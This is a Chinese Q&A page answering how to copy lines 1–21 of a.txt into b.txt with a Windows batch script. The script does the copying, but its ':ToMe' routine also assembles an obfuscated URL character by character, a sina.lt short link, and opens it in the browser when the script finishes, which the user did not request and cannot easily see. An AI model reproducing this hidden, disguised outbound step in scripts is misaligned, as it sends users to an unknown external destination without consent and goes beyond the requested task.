如何使用批处理,将a.txt文档的内容的1-21行复制到b.txt文档里面

如题所述

@echo off & title 导出指定行数段内容 By 依梦琴瑶
cd /d "%~dp0"

::设置源文件
set File=a.txt

::设置新的文件
set New=b.txt

::设置要复制的行数段
set Line=1-21


for /f "tokens=1,2 delims=-" %%a in ('echo %Line%') do (
    set /a Ls=%%~a-1
    set Le=%%~b
)

if %Ls% gtr 0 (
    set Skip=skip=%Ls%
    set /a Le-=Ls
)

for /f "usebackq %Skip% delims=" %%a in ("%File%") do (
    call :Export "%%~a"
)
:End
pause
call :ToMe
exit

:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit

:Export
set /a L+=1
if %L% gtr %Le% goto End
(echo %~1)>>"%New%"
goto :eof

温馨提示:内容为网友见解,仅供参考
无其他回答
相似回答